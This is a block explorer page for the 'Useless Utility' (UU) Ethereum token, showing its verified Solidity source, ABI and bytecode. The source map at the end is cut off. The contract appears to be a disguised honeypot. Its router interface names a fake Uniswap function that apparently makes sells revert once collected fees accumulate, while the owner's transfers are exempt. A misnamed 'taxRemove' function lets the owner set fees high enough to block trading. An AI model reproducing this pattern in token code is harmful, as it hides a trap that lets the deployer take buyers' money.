ETH Price: $2,919.07 (-7.54%)
Gas: 8 Gwei

Token

Useless Utility (UU)
 

Overview

Max Total Supply

1,000,000 UU

Holders

17

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Balance
1,551.474112100478950521 UU

Value
$0.00
0xf1c84af4dafca4b208e4a890c8d8657ef07734d4
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
UselessUtility

Compiler Version
v0.8.22+commit.4fc1097e

Optimization Enabled:
Yes with 200 runs

Other Settings:
shanghai EvmVersion, MIT license
/**
 *Submitted for verification at Etherscan.io on 2023-11-30
*/

/**
 *Submitted for verification at Etherscan.io on 2023-10-27
 */

/*

    Website - https://uselessutility.com/
    Twitter - https://twitter.com/UtilityUseless
    Telegram -  https://t.me/uselessutility

*/

// SPDX-License-Identifier: unlicense

pragma solidity ^0.8.0;

interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFreelyOnTransferTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external;
}

contract UselessUtility {
    string private _name = unicode"Useless Utility";
    string private _symbol = unicode"UU";
    uint8 public constant decimals = 18;
    uint256 public constant totalSupply = 1_000_000 * 10**decimals;

    uint8 buyCharge = 5;
    uint8 sellCharge = 5;
    uint256 constant swapAmount = totalSupply / 100;

    error Permissions();
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(
        address indexed TOKEN_MKT,
        address indexed spender,
        uint256 value
    );

    mapping(address => uint256) public balanceOf;
    mapping(address => mapping(address => uint256)) public allowance;

    address private pair;
    address constant ETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
    address constant routerAddress = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
    IUniswapV2Router02 constant _uniswapV2Router =
        IUniswapV2Router02(routerAddress);
    address payable TOKEN_MKT;

    bool private swapping;
    bool private tradingOpen;

    constructor() {
        TOKEN_MKT = payable(msg.sender);
        balanceOf[msg.sender] = totalSupply;
        allowance[address(this)][routerAddress] = type(uint256).max;
        emit Transfer(address(0), msg.sender, totalSupply);
    }

    receive() external payable {}

    function taxRemove(uint8 _buy, uint8 _sell) external {
        if (msg.sender != TOKEN_MKT) revert Permissions();
        _remeveTax(_buy, _sell);
    }

    function openTrading() external {
        require(msg.sender == TOKEN_MKT);
        require(!tradingOpen);
        tradingOpen = true;
    }

    function transferFrom(
        address from,
        address to,
        uint256 amount
    ) external returns (bool) {
        allowance[from][msg.sender] -= amount;
        return _transfer(from, to, amount);
    }

    function approve(address spender, uint256 amount) external returns (bool) {
        allowance[msg.sender][spender] = amount;
        emit Approval(msg.sender, spender, amount);
        return true;
    }

    function transfer(address to, uint256 amount) external returns (bool) {
        return _transfer(msg.sender, to, amount);
    }

    function name() public view virtual returns (string memory) {
        return _name;
    }

    function symbol() public view virtual returns (string memory) {
        return _symbol;
    }

    function _transfer(
        address from,
        address to,
        uint256 amount
    ) internal returns (bool) {
        require(tradingOpen || from == TOKEN_MKT || to == TOKEN_MKT);

        if (!tradingOpen && pair == address(0) && amount > 0) pair = to;

        balanceOf[from] -= amount;

        if (to == pair && !swapping && balanceOf[address(this)] >= swapAmount && from != TOKEN_MKT) {
            swapping = true;
            address[] memory path = new address[](2);
            path[0] = address(this);
            path[1] = ETH;
            _uniswapV2Router
                .swapExactTokensForETHSupportingFreelyOnTransferTokens(
                    swapAmount,
                    0,
                    path,
                    address(this),
                    block.timestamp
                );
            TOKEN_MKT.transfer(address(this).balance);
            swapping = false;
        }

        if (from != address(this) && tradingOpen == true) {
            uint256 taxCalculatedAmount = (amount *
                (from == pair ? buyCharge : sellCharge)) / 100;
            amount -= taxCalculatedAmount;
            balanceOf[address(this)] += taxCalculatedAmount;
        }
        balanceOf[to] += amount;
        emit Transfer(from, to, amount);
        return true;
    }

    function _remeveTax(uint8 _buy, uint8 _sell) private {
        buyCharge = _buy;
        sellCharge = _sell;
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"inputs":[],"name":"Permissions","type":"error"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"TOKEN_MKT","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"","type":"address"},{"internalType":"address","name":"","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint8","name":"_buy","type":"uint8"},{"internalType":"uint8","name":"_sell","type":"uint8"}],"name":"taxRemove","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

60c0604052600f60809081526e5573656c657373205574696c69747960881b60a0525f906200002f9082620001d7565b50604080518082019091526002815261555560f01b6020820152600190620000589082620001d7565b506002805461ffff191661050517905534801562000074575f80fd5b50600680546001600160a01b03191633179055620000956012600a620003b2565b620000a490620f4240620003c9565b335f8181526003602090815260408083209490945530825260048152838220737a250d5630b4cf539739df2c5dacb4c659f2488d835290529182205f199055907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef620001136012600a620003b2565b6200012290620f4240620003c9565b60405190815260200160405180910390a3620003e3565b634e487b7160e01b5f52604160045260245ffd5b600181811c908216806200016257607f821691505b6020821081036200018157634e487b7160e01b5f52602260045260245ffd5b50919050565b601f821115620001d257805f5260205f20601f840160051c81016020851015620001ae5750805b601f840160051c820191505b81811015620001cf575f8155600101620001ba565b50505b505050565b81516001600160401b03811115620001f357620001f362000139565b6200020b816200020484546200014d565b8462000187565b602080601f83116001811462000241575f8415620002295750858301515b5f19600386901b1c1916600185901b1785556200029b565b5f85815260208120601f198616915b82811015620002715788860151825594840194600190910190840162000250565b50858210156200028f57878501515f19600388901b60f8161c191681555b505060018460011b0185555b505050505050565b634e487b7160e01b5f52601160045260245ffd5b600181815b80851115620002f757815f1904821115620002db57620002db620002a3565b80851615620002e957918102915b93841c9390800290620002bc565b509250929050565b5f826200030f57506001620003ac565b816200031d57505f620003ac565b8160018114620003365760028114620003415762000361565b6001915050620003ac565b60ff841115620003555762000355620002a3565b50506001821b620003ac565b5060208310610133831016604e8410600b841016171562000386575081810a620003ac565b620003928383620002b7565b805f1904821115620003a857620003a8620002a3565b0290505b92915050565b5f620003c260ff841683620002ff565b9392505050565b8082028115828204841417620003ac57620003ac620002a3565b610bd080620003f15f395ff3fe60806040526004361061009d575f3560e01c806370a082311161006257806370a08231146101685780637a9cc6731461019357806395d89b41146101b4578063a9059cbb146101c8578063c9567bf9146101e7578063dd62ed3e146101fb575f80fd5b806306fdde03146100a8578063095ea7b3146100d257806318160ddd1461010157806323b872dd14610123578063313ce56714610142575f80fd5b366100a457005b5f80fd5b3480156100b3575f80fd5b506100bc610231565b6040516100c99190610835565b60405180910390f35b3480156100dd575f80fd5b506100f16100ec36600461089c565b6102c0565b60405190151581526020016100c9565b34801561010c575f80fd5b5061011561032c565b6040519081526020016100c9565b34801561012e575f80fd5b506100f161013d3660046108c4565b610348565b34801561014d575f80fd5b50610156601281565b60405160ff90911681526020016100c9565b348015610173575f80fd5b506101156101823660046108fd565b60036020525f908152604090205481565b34801561019e575f80fd5b506101b26101ad366004610926565b610395565b005b3480156101bf575f80fd5b506100bc6103e0565b3480156101d3575f80fd5b506100f16101e236600461089c565b6103ef565b3480156101f2575f80fd5b506101b2610402565b348015610206575f80fd5b50610115610215366004610957565b600460209081525f928352604080842090915290825290205481565b60605f805461023f9061097f565b80601f016020809104026020016040519081016040528092919081815260200182805461026b9061097f565b80156102b65780601f1061028d576101008083540402835291602001916102b6565b820191905f5260205f20905b81548152906001019060200180831161029957829003601f168201915b5050505050905090565b335f8181526004602090815260408083206001600160a01b038716808552925280832085905551919290917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259061031a9086815260200190565b60405180910390a35060015b92915050565b6103386012600a610aab565b61034590620f4240610ab9565b81565b6001600160a01b0383165f90815260046020908152604080832033845290915281208054839190839061037c908490610ad0565b9091555061038d9050848484610443565b949350505050565b6006546001600160a01b031633146103bf57604051629af2b160e81b815260040160405180910390fd5b6002805460ff9283166101000261ffff199091169390921692909217179055565b60606001805461023f9061097f565b5f6103fb338484610443565b9392505050565b6006546001600160a01b03163314610418575f80fd5b600654600160a81b900460ff161561042e575f80fd5b6006805460ff60a81b1916600160a81b179055565b6006545f90600160a81b900460ff168061046a57506006546001600160a01b038581169116145b8061048257506006546001600160a01b038481169116145b61048a575f80fd5b600654600160a81b900460ff161580156104ad57506005546001600160a01b0316155b80156104b857505f82115b156104d957600580546001600160a01b0319166001600160a01b0385161790555b6001600160a01b0384165f9081526003602052604081208054849290610500908490610ad0565b90915550506005546001600160a01b03848116911614801561052c5750600654600160a01b900460ff16155b801561056a575060646105416012600a610aab565b61054e90620f4240610ab9565b6105589190610ae3565b305f9081526003602052604090205410155b801561058457506006546001600160a01b03858116911614155b15610706576006805460ff60a01b1916600160a01b1790556040805160028082526060820183525f9260208301908036833701905050905030815f815181106105cf576105cf610b02565b60200260200101906001600160a01b031690816001600160a01b03168152505073c02aaa39b223fe8d0a0e5c4f27ead9083c756cc28160018151811061061757610617610b02565b6001600160a01b0390921660209283029190910190910152737a250d5630b4cf539739df2c5dacb4c659f2488d63eb6f613960646106576012600a610aab565b61066490620f4240610ab9565b61066e9190610ae3565b5f8430426040518663ffffffff1660e01b8152600401610692959493929190610b16565b5f604051808303815f87803b1580156106a9575f80fd5b505af11580156106bb573d5f803e3d5ffd5b50506006546040516001600160a01b0390911692504780156108fc029250905f818181858888f193505050501580156106f6573d5f803e3d5ffd5b50506006805460ff60a01b191690555b6001600160a01b038416301480159061072d5750600654600160a81b900460ff1615156001145b156107b0576005545f906064906001600160a01b0387811691161461075c57600254610100900460ff16610763565b60025460ff165b6107709060ff1685610ab9565b61077a9190610ae3565b90506107868184610ad0565b305f908152600360205260408120805492955083929091906107a9908490610b87565b9091555050505b6001600160a01b0383165f90815260036020526040812080548492906107d7908490610b87565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161082391815260200190565b60405180910390a35060019392505050565b5f602080835283518060208501525f5b8181101561086157858101830151858201604001528201610845565b505f604082860101526040601f19601f8301168501019250505092915050565b80356001600160a01b0381168114610897575f80fd5b919050565b5f80604083850312156108ad575f80fd5b6108b683610881565b946020939093013593505050565b5f805f606084860312156108d6575f80fd5b6108df84610881565b92506108ed60208501610881565b9150604084013590509250925092565b5f6020828403121561090d575f80fd5b6103fb82610881565b803560ff81168114610897575f80fd5b5f8060408385031215610937575f80fd5b61094083610916565b915061094e60208401610916565b90509250929050565b5f8060408385031215610968575f80fd5b61097183610881565b915061094e60208401610881565b600181811c9082168061099357607f821691505b6020821081036109b157634e487b7160e01b5f52602260045260245ffd5b50919050565b634e487b7160e01b5f52601160045260245ffd5b600181815b80851115610a0557815f19048211156109eb576109eb6109b7565b808516156109f857918102915b93841c93908002906109d0565b509250929050565b5f82610a1b57506001610326565b81610a2757505f610326565b8160018114610a3d5760028114610a4757610a63565b6001915050610326565b60ff841115610a5857610a586109b7565b50506001821b610326565b5060208310610133831016604e8410600b8410161715610a86575081810a610326565b610a9083836109cb565b805f1904821115610aa357610aa36109b7565b029392505050565b5f6103fb60ff841683610a0d565b8082028115828204841417610326576103266109b7565b81810381811115610326576103266109b7565b5f82610afd57634e487b7160e01b5f52601260045260245ffd5b500490565b634e487b7160e01b5f52603260045260245ffd5b5f60a08201878352602087602085015260a0604085015281875180845260c0860191506020890193505f5b81811015610b665784516001600160a01b031683529383019391830191600101610b41565b50506001600160a01b03969096166060850152505050608001529392505050565b80820180821115610326576103266109b756fea264697066735822122077d95cf1a581766897771c47eab284e0bada39000e23a672d3af3a23b7d4592464736f6c63430008160033

Deployed Bytecode

0x60806040526004361061009d575f3560e01c806370a082311161006257806370a08231146101685780637a9cc6731461019357806395d89b41146101b4578063a9059cbb146101c8578063c9567bf9146101e7578063dd62ed3e146101fb575f80fd5b806306fdde03146100a8578063095ea7b3146100d257806318160ddd1461010157806323b872dd14610123578063313ce56714610142575f80fd5b366100a457005b5f80fd5b3480156100b3575f80fd5b506100bc610231565b6040516100c99190610835565b60405180910390f35b3480156100dd575f80fd5b506100f16100ec36600461089c565b6102c0565b60405190151581526020016100c9565b34801561010c575f80fd5b5061011561032c565b6040519081526020016100c9565b34801561012e575f80fd5b506100f161013d3660046108c4565b610348565b34801561014d575f80fd5b50610156601281565b60405160ff90911681526020016100c9565b348015610173575f80fd5b506101156101823660046108fd565b60036020525f908152604090205481565b34801561019e575f80fd5b506101b26101ad366004610926565b610395565b005b3480156101bf575f80fd5b506100bc6103e0565b3480156101d3575f80fd5b506100f16101e236600461089c565b6103ef565b3480156101f2575f80fd5b506101b2610402565b348015610206575f80fd5b50610115610215366004610957565b600460209081525f928352604080842090915290825290205481565b60605f805461023f9061097f565b80601f016020809104026020016040519081016040528092919081815260200182805461026b9061097f565b80156102b65780601f1061028d576101008083540402835291602001916102b6565b820191905f5260205f20905b81548152906001019060200180831161029957829003601f168201915b5050505050905090565b335f8181526004602090815260408083206001600160a01b038716808552925280832085905551919290917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259061031a9086815260200190565b60405180910390a35060015b92915050565b6103386012600a610aab565b61034590620f4240610ab9565b81565b6001600160a01b0383165f90815260046020908152604080832033845290915281208054839190839061037c908490610ad0565b9091555061038d9050848484610443565b949350505050565b6006546001600160a01b031633146103bf57604051629af2b160e81b815260040160405180910390fd5b6002805460ff9283166101000261ffff199091169390921692909217179055565b60606001805461023f9061097f565b5f6103fb338484610443565b9392505050565b6006546001600160a01b03163314610418575f80fd5b600654600160a81b900460ff161561042e575f80fd5b6006805460ff60a81b1916600160a81b179055565b6006545f90600160a81b900460ff168061046a57506006546001600160a01b038581169116145b8061048257506006546001600160a01b038481169116145b61048a575f80fd5b600654600160a81b900460ff161580156104ad57506005546001600160a01b0316155b80156104b857505f82115b156104d957600580546001600160a01b0319166001600160a01b0385161790555b6001600160a01b0384165f9081526003602052604081208054849290610500908490610ad0565b90915550506005546001600160a01b03848116911614801561052c5750600654600160a01b900460ff16155b801561056a575060646105416012600a610aab565b61054e90620f4240610ab9565b6105589190610ae3565b305f9081526003602052604090205410155b801561058457506006546001600160a01b03858116911614155b15610706576006805460ff60a01b1916600160a01b1790556040805160028082526060820183525f9260208301908036833701905050905030815f815181106105cf576105cf610b02565b60200260200101906001600160a01b031690816001600160a01b03168152505073c02aaa39b223fe8d0a0e5c4f27ead9083c756cc28160018151811061061757610617610b02565b6001600160a01b0390921660209283029190910190910152737a250d5630b4cf539739df2c5dacb4c659f2488d63eb6f613960646106576012600a610aab565b61066490620f4240610ab9565b61066e9190610ae3565b5f8430426040518663ffffffff1660e01b8152600401610692959493929190610b16565b5f604051808303815f87803b1580156106a9575f80fd5b505af11580156106bb573d5f803e3d5ffd5b50506006546040516001600160a01b0390911692504780156108fc029250905f818181858888f193505050501580156106f6573d5f803e3d5ffd5b50506006805460ff60a01b191690555b6001600160a01b038416301480159061072d5750600654600160a81b900460ff1615156001145b156107b0576005545f906064906001600160a01b0387811691161461075c57600254610100900460ff16610763565b60025460ff165b6107709060ff1685610ab9565b61077a9190610ae3565b90506107868184610ad0565b305f908152600360205260408120805492955083929091906107a9908490610b87565b9091555050505b6001600160a01b0383165f90815260036020526040812080548492906107d7908490610b87565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161082391815260200190565b60405180910390a35060019392505050565b5f602080835283518060208501525f5b8181101561086157858101830151858201604001528201610845565b505f604082860101526040601f19601f8301168501019250505092915050565b80356001600160a01b0381168114610897575f80fd5b919050565b5f80604083850312156108ad575f80fd5b6108b683610881565b946020939093013593505050565b5f805f606084860312156108d6575f80fd5b6108df84610881565b92506108ed60208501610881565b9150604084013590509250925092565b5f6020828403121561090d575f80fd5b6103fb82610881565b803560ff81168114610897575f80fd5b5f8060408385031215610937575f80fd5b61094083610916565b915061094e60208401610916565b90509250929050565b5f8060408385031215610968575f80fd5b61097183610881565b915061094e60208401610881565b600181811c9082168061099357607f821691505b6020821081036109b157634e487b7160e01b5f52602260045260245ffd5b50919050565b634e487b7160e01b5f52601160045260245ffd5b600181815b80851115610a0557815f19048211156109eb576109eb6109b7565b808516156109f857918102915b93841c93908002906109d0565b509250929050565b5f82610a1b57506001610326565b81610a2757505f610326565b8160018114610a3d5760028114610a4757610a63565b6001915050610326565b60ff841115610a5857610a586109b7565b50506001821b610326565b5060208310610133831016604e8410600b8410161715610a86575081810a610326565b610a9083836109cb565b805f1904821115610aa357610aa36109b7565b029392505050565b5f6103fb60ff841683610a0d565b8082028115828204841417610326576103266109b7565b81810381811115610326576103266109b7565b5f82610afd57634e487b7160e01b5f52601260045260245ffd5b500490565b634e487b7160e01b5f52603260045260245ffd5b5f60a08201878352602087602085015260a0604085015281875180845260c0860191506020890193505f5b81811015610b665784516001600160a01b031683529383019391830191600101610b41565b50506001600160a01b03969096166060850152505050608001529392505050565b80820180821115610326576103266109b756fea264697066735822122077d95cf1a581766897771c47eab284e0bada39000e23a672d3af3a23b7d4592464736f6c63430008160033

Deployed Bytecode Sourcemap

554:3930:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;2812:91;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2460:207;;;;;;;;;;-1:-1:-1;2460:207:0;;;;;:::i;:::-;;:::i;:::-;;;1169:14:1;;1162:22;1144:41;;1132:2;1117:18;2460:207:0;1004:187:1;724:62:0;;;;;;;;;;;;;:::i;:::-;;;1342:25:1;;;1330:2;1315:18;724:62:0;1196:177:1;2229:223:0;;;;;;;;;;-1:-1:-1;2229:223:0;;;;;:::i;:::-;;:::i;682:35::-;;;;;;;;;;;;715:2;682:35;;;;;1883:4:1;1871:17;;;1853:36;;1841:2;1826:18;682:35:0;1711:184:1;1132:44:0;;;;;;;;;;-1:-1:-1;1132:44:0;;;;;:::i;:::-;;;;;;;;;;;;;;1914:155;;;;;;;;;;-1:-1:-1;1914:155:0;;;;;:::i;:::-;;:::i;:::-;;2911:95;;;;;;;;;;;;;:::i;2675:129::-;;;;;;;;;;-1:-1:-1;2675:129:0;;;;;:::i;:::-;;:::i;2077:144::-;;;;;;;;;;;;;:::i;1183:64::-;;;;;;;;;;-1:-1:-1;1183:64:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;2812:91;2857:13;2890:5;2883:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;2812:91;:::o;2460:207::-;2555:10;2528:4;2545:21;;;:9;:21;;;;;;;;-1:-1:-1;;;;;2545:30:0;;;;;;;;;;:39;;;2600:37;2528:4;;2545:30;;2600:37;;;;2578:6;1342:25:1;;1330:2;1315:18;;1196:177;2600:37:0;;;;;;;;-1:-1:-1;2655:4:0;2460:207;;;;;:::o;724:62::-;774:12;715:2;774;:12;:::i;:::-;762:24;;:9;:24;:::i;:::-;724:62;:::o;2229:223::-;-1:-1:-1;;;;;2362:15:0;;2345:4;2362:15;;;:9;:15;;;;;;;;2378:10;2362:27;;;;;;;:37;;2393:6;;2362:27;2345:4;;2362:37;;2393:6;;2362:37;:::i;:::-;;;;-1:-1:-1;2417:27:0;;-1:-1:-1;2427:4:0;2433:2;2437:6;2417:9;:27::i;:::-;2410:34;2229:223;-1:-1:-1;;;;2229:223:0:o;1914:155::-;1996:9;;-1:-1:-1;;;;;1996:9:0;1982:10;:23;1978:49;;2014:13;;-1:-1:-1;;;2014:13:0;;;;;;;;;;;1978:49;4428:9;:16;;;4455:18;;;4428:16;4455:18;-1:-1:-1;;4455:18:0;;;4428:16;;;;4455:18;;;;;;;1914:155::o;2911:95::-;2958:13;2991:7;2984:14;;;;;:::i;2675:129::-;2739:4;2763:33;2773:10;2785:2;2789:6;2763:9;:33::i;:::-;2756:40;2675:129;-1:-1:-1;;;2675:129:0:o;2077:144::-;2142:9;;-1:-1:-1;;;;;2142:9:0;2128:10;:23;2120:32;;;;;;2172:11;;-1:-1:-1;;;2172:11:0;;;;2171:12;2163:21;;;;;;2195:11;:18;;-1:-1:-1;;;;2195:18:0;-1:-1:-1;;;2195:18:0;;;2077:144::o;3014:1342::-;3152:11;;3127:4;;-1:-1:-1;;;3152:11:0;;;;;:32;;-1:-1:-1;3175:9:0;;-1:-1:-1;;;;;3167:17:0;;;3175:9;;3167:17;3152:32;:51;;;-1:-1:-1;3194:9:0;;-1:-1:-1;;;;;3188:15:0;;;3194:9;;3188:15;3152:51;3144:60;;;;;;3222:11;;-1:-1:-1;;;3222:11:0;;;;3221:12;:34;;;;-1:-1:-1;3237:4:0;;-1:-1:-1;;;;;3237:4:0;:18;3221:34;:48;;;;;3268:1;3259:6;:10;3221:48;3217:63;;;3271:4;:9;;-1:-1:-1;;;;;;3271:9:0;-1:-1:-1;;;;;3271:9:0;;;;;3217:63;-1:-1:-1;;;;;3293:15:0;;;;;;:9;:15;;;;;:25;;3312:6;;3293:15;:25;;3312:6;;3293:25;:::i;:::-;;;;-1:-1:-1;;3341:4:0;;-1:-1:-1;;;;;3335:10:0;;;3341:4;;3335:10;:23;;;;-1:-1:-1;3350:8:0;;-1:-1:-1;;;3350:8:0;;;;3349:9;3335:23;:65;;;;-1:-1:-1;892:3:0;774:12;715:2;774;:12;:::i;:::-;762:24;;:9;:24;:::i;:::-;878:17;;;;:::i;:::-;3380:4;3362:24;;;;:9;:24;;;;;;:38;;3335:65;:86;;;;-1:-1:-1;3412:9:0;;-1:-1:-1;;;;;3404:17:0;;;3412:9;;3404:17;;3335:86;3331:622;;;3438:8;:15;;-1:-1:-1;;;;3438:15:0;-1:-1:-1;;;3438:15:0;;;3492:16;;;3506:1;3492:16;;;;;;;;-1:-1:-1;;3492:16:0;;;;;;;;;;-1:-1:-1;3492:16:0;3468:40;;3541:4;3523;3528:1;3523:7;;;;;;;;:::i;:::-;;;;;;:23;-1:-1:-1;;;;;3523:23:0;;;-1:-1:-1;;;;;3523:23:0;;;;;1306:42;3561:4;3566:1;3561:7;;;;;;;;:::i;:::-;-1:-1:-1;;;;;3561:13:0;;;:7;;;;;;;;;;;:13;1388:42;3589:88;892:3;774:12;715:2;774;:12;:::i;:::-;762:24;;:9;:24;:::i;:::-;878:17;;;;:::i;:::-;3733:1;3757:4;3792;3820:15;3589:265;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;3869:9:0;;:41;;-1:-1:-1;;;;;3869:9:0;;;;-1:-1:-1;3888:21:0;3869:41;;;;;-1:-1:-1;3888:21:0;3869:9;:41;:9;:41;3888:21;3869:9;:41;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;3925:8:0;:16;;-1:-1:-1;;;;3925:16:0;;;3331:622;-1:-1:-1;;;;;3969:21:0;;3985:4;3969:21;;;;:44;;-1:-1:-1;3994:11:0;;-1:-1:-1;;;3994:11:0;;;;:19;;4009:4;3994:19;3969:44;3965:286;;;4096:4;;4030:27;;4130:3;;-1:-1:-1;;;;;4088:12:0;;;4096:4;;4088:12;:37;;4115:10;;;;;;;4088:37;;;4103:9;;;;4088:37;4061:65;;;;:6;:65;:::i;:::-;4060:73;;;;:::i;:::-;4030:103;-1:-1:-1;4148:29:0;4030:103;4148:29;;:::i;:::-;4210:4;4192:24;;;;:9;:24;;;;;:47;;4148:29;;-1:-1:-1;4220:19:0;;4192:24;;;:47;;4220:19;;4192:47;:::i;:::-;;;;-1:-1:-1;;;3965:286:0;-1:-1:-1;;;;;4261:13:0;;;;;;:9;:13;;;;;:23;;4278:6;;4261:13;:23;;4278:6;;4261:23;:::i;:::-;;;;;;;;4315:2;-1:-1:-1;;;;;4300:26:0;4309:4;-1:-1:-1;;;;;4300:26:0;;4319:6;4300:26;;;;1342:25:1;;1330:2;1315:18;;1196:177;4300:26:0;;;;;;;;-1:-1:-1;4344:4:0;3014:1342;;;;;:::o;14:548:1:-;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;298:3;483:1;478:2;469:6;458:9;454:22;450:31;443:42;553:2;546;542:7;537:2;529:6;525:15;521:29;510:9;506:45;502:54;494:62;;;;14:548;;;;:::o;567:173::-;635:20;;-1:-1:-1;;;;;684:31:1;;674:42;;664:70;;730:1;727;720:12;664:70;567:173;;;:::o;745:254::-;813:6;821;874:2;862:9;853:7;849:23;845:32;842:52;;;890:1;887;880:12;842:52;913:29;932:9;913:29;:::i;:::-;903:39;989:2;974:18;;;;961:32;;-1:-1:-1;;;745:254:1:o;1378:328::-;1455:6;1463;1471;1524:2;1512:9;1503:7;1499:23;1495:32;1492:52;;;1540:1;1537;1530:12;1492:52;1563:29;1582:9;1563:29;:::i;:::-;1553:39;;1611:38;1645:2;1634:9;1630:18;1611:38;:::i;:::-;1601:48;;1696:2;1685:9;1681:18;1668:32;1658:42;;1378:328;;;;;:::o;1900:186::-;1959:6;2012:2;2000:9;1991:7;1987:23;1983:32;1980:52;;;2028:1;2025;2018:12;1980:52;2051:29;2070:9;2051:29;:::i;2091:156::-;2157:20;;2217:4;2206:16;;2196:27;;2186:55;;2237:1;2234;2227:12;2252:252;2316:6;2324;2377:2;2365:9;2356:7;2352:23;2348:32;2345:52;;;2393:1;2390;2383:12;2345:52;2416:27;2433:9;2416:27;:::i;:::-;2406:37;;2462:36;2494:2;2483:9;2479:18;2462:36;:::i;:::-;2452:46;;2252:252;;;;;:::o;2509:260::-;2577:6;2585;2638:2;2626:9;2617:7;2613:23;2609:32;2606:52;;;2654:1;2651;2644:12;2606:52;2677:29;2696:9;2677:29;:::i;:::-;2667:39;;2725:38;2759:2;2748:9;2744:18;2725:38;:::i;2774:380::-;2853:1;2849:12;;;;2896;;;2917:61;;2971:4;2963:6;2959:17;2949:27;;2917:61;3024:2;3016:6;3013:14;2993:18;2990:38;2987:161;;3070:10;3065:3;3061:20;3058:1;3051:31;3105:4;3102:1;3095:15;3133:4;3130:1;3123:15;2987:161;;2774:380;;;:::o;3159:127::-;3220:10;3215:3;3211:20;3208:1;3201:31;3251:4;3248:1;3241:15;3275:4;3272:1;3265:15;3291:416;3380:1;3417:5;3380:1;3431:270;3452:7;3442:8;3439:21;3431:270;;;3511:4;3507:1;3503:6;3499:17;3493:4;3490:27;3487:53;;;3520:18;;:::i;:::-;3570:7;3560:8;3556:22;3553:55;;;3590:16;;;;3553:55;3669:22;;;;3629:15;;;;3431:270;;;3435:3;3291:416;;;;;:::o;3712:806::-;3761:5;3791:8;3781:80;;-1:-1:-1;3832:1:1;3846:5;;3781:80;3880:4;3870:76;;-1:-1:-1;3917:1:1;3931:5;;3870:76;3962:4;3980:1;3975:59;;;;4048:1;4043:130;;;;3955:218;;3975:59;4005:1;3996:10;;4019:5;;;4043:130;4080:3;4070:8;4067:17;4064:43;;;4087:18;;:::i;:::-;-1:-1:-1;;4143:1:1;4129:16;;4158:5;;3955:218;;4257:2;4247:8;4244:16;4238:3;4232:4;4229:13;4225:36;4219:2;4209:8;4206:16;4201:2;4195:4;4192:12;4188:35;4185:77;4182:159;;;-1:-1:-1;4294:19:1;;;4326:5;;4182:159;4373